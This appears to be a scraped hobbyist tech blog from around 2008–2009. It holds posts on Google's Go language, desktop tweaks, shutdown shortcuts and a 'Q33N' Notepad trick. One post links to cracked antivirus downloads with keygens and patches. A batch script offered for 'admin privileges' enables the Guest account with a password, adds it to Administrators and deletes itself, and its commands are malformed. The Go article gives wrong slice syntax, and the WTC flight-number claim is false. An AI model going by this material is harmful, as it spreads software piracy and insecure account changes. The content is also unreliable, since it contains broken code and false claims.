----##Enjoy the stay @my blog n shout @shoutbox avail abundant features lik Google Custom search ,sending E cards and lots of stuff##----








!!!!! Now u Can Catch hold of ur latest recruitments of scores of jobs and avail the google search from here !!!!

Close This Page!

Showing posts with label Techie. Show all posts
Showing posts with label Techie. Show all posts

Friday, November 13, 2009

Go: Google’s new open source programming language

IncreaseDecrease

Go mascotGoogle never seems to just be satisfied with the status quo, and when they run out of fields to compete in they create their own! Google’s new “Go” programming language is one of their newest ventures, a language which is an amalgamation of Python and C++.



The Go language, in development since September 2007, has been unveiled by Google along with the release of a free and open source compiler. In fact, Google has released both a stand-along compiler implementation with cryptic names such as 6g (amd64 compiler), 8g (x86 compiler), and 5g (ARM compiler) and one which is a front-end for GCC (gccgo).


Born out of frustration with existing system languages, Go attempts to bring something new to the table, and mix the ease of dynamically typed and interpreted languages with the efficiency of compiled languages.


So why make a new programming language?



Google believes that the current languages have run their course. The prominent languages in use today (C/C++, Java, C#) are all based around a similar syntax, and updating and adding new features in these language consists of piling on libraries, with little or no upgrade to the core of the language itself. What Google intends to do requires more than just the addition of a new library.

-------------------------------------


Hello World in Go

package main

import "fmt"

func main() {
fmt.Printf("Hello, ??n")
}

---------------------------------------


The landscape of computing has changed a lot since C, and as Google notes “Computers are enormously quicker but software development is not faster.” Languages have had to morph quite a bit to take on support concepts such as parallel processing, and garbage collection.



Go, on the other hand has been designed by Google from the ground up as “a concurrent, garbage-collected language with fast compilation”.



In order to not alienate the majority of developers though, its syntax is quite similar to C, and would not take much time for a developer to catch on to.



Go has accomplished some impressive feats. The language is designed to compile fast and Go can compile a “large" program in a few seconds on a single computer. It is designed to simplify the creation of application which can better utilize today’s multi-core processors. The language supports concurrent execution and communication between concurrent processes natively, and is fully-garbage collected.



Goroutines allowed are Google’s answer to threading in Go, and any function call which is preceded by the go statement runs in a different goroutine concurrently. A feature called channels allows for easy communication and synchronization between such routines.



Unlike other object oriented languages, Go has a much “simplified” type structure, which disallows sub-classing! Go offers a different flavour of object oriented programming using interfaces, which Google believes will simplify use.



By using interfaces, explicit type hierarchies need not be defined, instead, a type will satisfy all interfaces which are subsets of its methods. The relationships between types and interfaces need not be defined explicity! This can have some interesting implications as people can add interfaces to connect unrelated types even later in the development of an application.



Go seems inspired by Python as well. Python has been one of Google’s favoured languages and was the sole language supported on Google’s AppEngine when it launched. Like Python, Go supports “slices”, which allow you to refer to parts of arrays using a simple syntax. Thus for an array “a” with 100 elements, a[23,42] will result in an array with elements 23 through 42 of a. Go also tracks the length of arrays internally, further simplifying array usage. Additionally, Maps in Go allow you to create “arrays” with custom index types, and are a native feature of the language.



One consistent point in the features of Go is that it is better to have one excellent implementation of commonly used features such as garbage collection, strings, maps etc. rather than have them rethought and re-implemented in each program.



As nearly all Google products, Go is “beta” and not yet suitable for production use. By releasing it early Google hopes to garner a community around it and hopes that enough people will be interested in it to justify continued development.



Get out there and grab Go now! Like any Google product it has the capacity to become standard for the next generation.

New Programming Lang

'Go' The new programming language

Google software luminaries such as Unix co-creator Ken Thompson believe that they can help boost both computing power and programmers' abilities with an experimental programming language project called Go.

Check out the links:

Go

Go

Sunday, July 13, 2008

MyColors 2.5 Released



Just wanted to gives a heads up that MyColors 2.5 was released today, and it includes a new free theme called "Think Green".

Quote:
MyColors changes your Windows visual style, icons, wallpaper, and even adds gadgets to your desktop. These gadgets can range from media players to weather forecast gadgets depending on the theme. It doesn't modify any system files and enables users to easily switch between themes and back to default Windows with just a few clicks.

MyColors 2.5 now comes with the ability to have themes with sub-styles. This will allow you choose variations of a specific theme to let your further customize your desktop experience . A new "Wallpapers" tab has been introduced that allows users to choose and switch between different wallpapers in the selected theme. The biggest announcement with MyColors 2.5, however, is the fact that it is now compatible with Windows Vista 64 bit.
Download: MyColors 2.5

Saturday, March 22, 2008

Google Phone Named as 'Dream' by HTC [PCWorldIndia]

The mobile phone High Tech Computer (HTC) has been developing to run on the Android software from Google will be called "Dream," have a large touchscreen and full QWERTY keypad, a person close to the situation said Thursday.HTC may become the first handset maker in the world to put out a mobile phone developed around Android, but it faces stiff competition from Samsung, a separate source said. Samsung has stepped up its effort to put out a Google phone, the person said.

Thursday, March 6, 2008

IT GURU'sss

Saturday, February 23, 2008

All useful ANTIVIRUS Links ........

I want to share some of useful Antivirus software download......
These are some of the best of my choice...

1) Kaspersky 7.0 Antivirus FuLL + up to 2010 Keys
http://rapidshare.com/files/57163426/Kaspersky_Anti-Virus_7.0.7.0.123_www.4evershare.com_upLoad.rar

2) Kaspersky Internet Security 2007 7.0.0.220 + License
Homepage - http://www.kaspersky.com Size: 27.3 MB
http://rapidshare.com/files/57056078/Kaspersky.Internet.Security.7.0.0.220.Full.rar

3) Norton Internet Security 2008!!! v10.2 / 63.1mb
NIS2008+Keygen:
http://rapidshare.com/files/53504911/Norton_Internet_Security_2008_10.2_iLLeGaLiZ.Biz.rar

4) Spyware Doctor 5.0.5.259
http://rapidshare.com/files/50476215/spwdct505259.rar

5) McAfee Total Protection 2007
http://rapidshare.com/files/47384634/SirDavid.Totally.2007.Retail-M_W.rar

6) Ashampoo AntiVirus v1.40
http://rapidshare.com/files/50112735/Ashampoo_AntiVirus_v1.40_iLLeGaLiZ.Biz.rar

7) Nod 32 v2.70.39
Download:
http://filehippo.com/download_nod32/

Patch:
http://www.megashare.com/258355

run the patch after restart.

DISPLAYING UR NAMES ON TASKBAR BESIDE TIME....



Hi friends i want to share a funny trick with time display in the taskbar....Let us see.....

Trick to show ur nake after time in taskbar....
Here is a trick to add up ur name in place of AM and PM beside time and make urself to feel proud among ur group of friends...
Its simple....

Start -> Control Panel -> Regional and Language option -> Customize (beside English US) -> Go to TIME tab -> change AM or PM symbols from AM or PM to ur name or the word u like to display-> Apply -> OK

Is it changed?? Might be not...Now go to time in taskbar and double click it to open "Date and time property"...Look place where time changes in digital from to ur desired word....

Click to arrow to change the AM or PM by selecting and press arrow..
It will show ur name or word that was entered by u, Apply -> OK...

Sunday, February 10, 2008

Want admin privilegas on ur pc????

try dis

copy and paste the code given below in notepad and save it as anyname.bat
den dbclick on it...this will add u in administrator group

echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0

Tuesday, January 29, 2008

Hide ur drives.

Hide ur drives

How to Hide the drives(c:,d:,e:,a:...etc)
How to Hide the drives(c:,d:,e:,a:...etc)
This is a great trick you can play on your friends. To disable the display of local or networked drives when you click My Computer.




1.Go to start->run.Type regedit.Now go to:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Now in the right pane create a new DWORD item and name it NoDrives(it is case sensitive). Now modify it's value and set it to 3FFFFFF (Hexadecimal) .Now restart your computer. So, now when you click on My Computer, no drives will be shown(all gone...). To enable display of drives in My Computer, simply delete this DWORD item that you created.Again restart your computer.You can now see all the drives again. Magic........lol....

Monday, January 28, 2008

Different ways to shutdown ur PC

Different ways to shutdown ur pc

There are so many different ways to turn off your Windows XP computer, let's look at some of them:


1. The standard approach - click the Start Button with your mouse, then select the Turn Off menu and finally click the Turn Off icon on the Turn Off computer dialog. blink.gif

2. Press Ctrl+Esc key or the Win key and press u two times - the fastest approach.

3. Get the Shutdown utility from Download.com - it add the shut down shortcuts for you. Else create them yourself using approach 4.

4. Create a shutdown shortcut on your desktop. Right click on the desktop, choose New Shortcut and type shutdown -s -t 00 in the area where you are asked to specify the location of the program file. Now you can just double click this icon to turn off the computer. The best location would be your quick launch bar.

5. Press the Win key + R key to open the run window. Type shutdown -s -t 00. [s means shutdown while t means the duration after which you want to initiate the shutdown process].

If some open processes or application won't let you turn off, append a -f switch to force a shut down by closing all active processes.



6. Win+M to minimize all windows and then Alt+F4 to bring the Turn Off computer dialog.

7. Open Windows Task manager (by right clicking the Windows Task bar or Alt+Ctrl+Del) and choose Shut down from the menu. Useful when the Windows are not responding.


8. open task manager--->click on shutdown--->hold the ctrl key and click on Turn off::::::: pc will be turned off in 3 secs.. fastest method other than hard shutdown

Sunday, January 27, 2008

--------------NOTEPAD "world trade centre trick"..---------------

Did you know that the flight number of the plane that had hit WTC ...on
9/11 was Q33N ....Open your Notepad in ur computer and type the flight
number i.e Q33N... Increase the Font Size to 72, Change the Font to
Wingdings. U will be amazed by the findings.

Hows That ???